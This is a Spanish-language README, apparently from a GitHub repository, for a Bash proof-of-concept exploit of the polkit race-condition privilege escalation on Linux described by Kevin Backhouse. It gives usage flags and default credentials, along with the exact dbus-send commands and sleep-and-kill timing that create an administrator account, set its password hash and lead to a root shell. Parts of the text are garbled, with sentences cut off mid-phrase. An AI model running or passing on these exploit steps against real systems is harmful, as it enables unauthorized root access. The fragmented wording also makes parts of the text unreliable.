
Este es solo un script PoC en Bash que automatiza los pasos de explotación mencionados en el blog de Kevin Backhouse. Lee su publicación sobre esta vulnerabilidad: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice y gnome-control-center, y debe tener la versión polkit 0.113 (o posterior) O 0-105-26 (fork de polkit para Debian).Ubuntu 20.04, con la versión 0-105-26 de polkit (fork de polkit para Debian) y en Centos 8 con la versión 0.115 de polkit. Si estás seguro de que tu objetivo es vulnerable, pero la función de comprobación del exploit falla, usa el flag -f=y para omitir todas las comprobaciones y forzar el exploit.En el blog del investigador se ofrece una explicación completa y un PoC para explotar esto manualmente, con gran detalle.
TL;DR de este exploit se muestra a continuación:
polkit mediante el envío de un mensaje dbus, pero cerrando la solicitud abruptamente mientras polkit está procesando la solicitud. Luego, el atacante puede enviar una segunda solicitud con el identificador de bus único de la solicitud anterior, para ejecutar la solicitud como UID 0, es decir, root.polkit, porque trata el UID de una conexión con un identificador de bus que ya no existe como una solicitud del UID 0. Esto significa que, si podemos sincronizar correctamente el ataque y terminar nuestra primera solicitud en el momento adecuado, podemos enviar la segunda solicitud con los privilegios del UID 0, es decir, root.Como dije antes, esto es solo un script bash que automatiza el PoC de Kevin Backhouse. Los comandos principales son los mismos; solo automaticé algunos pasos iniciales (como calcular la sincronización correcta, escanear la vulnerabilidad, inserción de credenciales personalizadas, imprimir colores bonitos, etc.).
Si este script se ha ejecutado sin ningún parámetro, el comportamiento predeterminado de este script es el siguiente:
/etc/os-release.]accountservice y gnome-control-center. [En rhel/centos/fedora, usa rpm -qa y en las distribuciones debian/ubuntu, usa dpkg -l].rhel.centos,fedora y 0-105-26 para Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <username> con la contraseña proporcionada al script, y luego ejecutar sudo bash para obtener una shell de root.Esc para cerrar la solicitud de autenticación y Ctrl+C para terminar el script rápidamente.$t) se calcula dividiendo el tiempo requerido para la solicitud entre 2. ($t=time-required-to-request/2) [Calculado usando awk]$t), la solicitud para insertar el $username secnigma en el objetivo se repite 20 veces. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], entonces se genera un hash de contraseña [usando bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!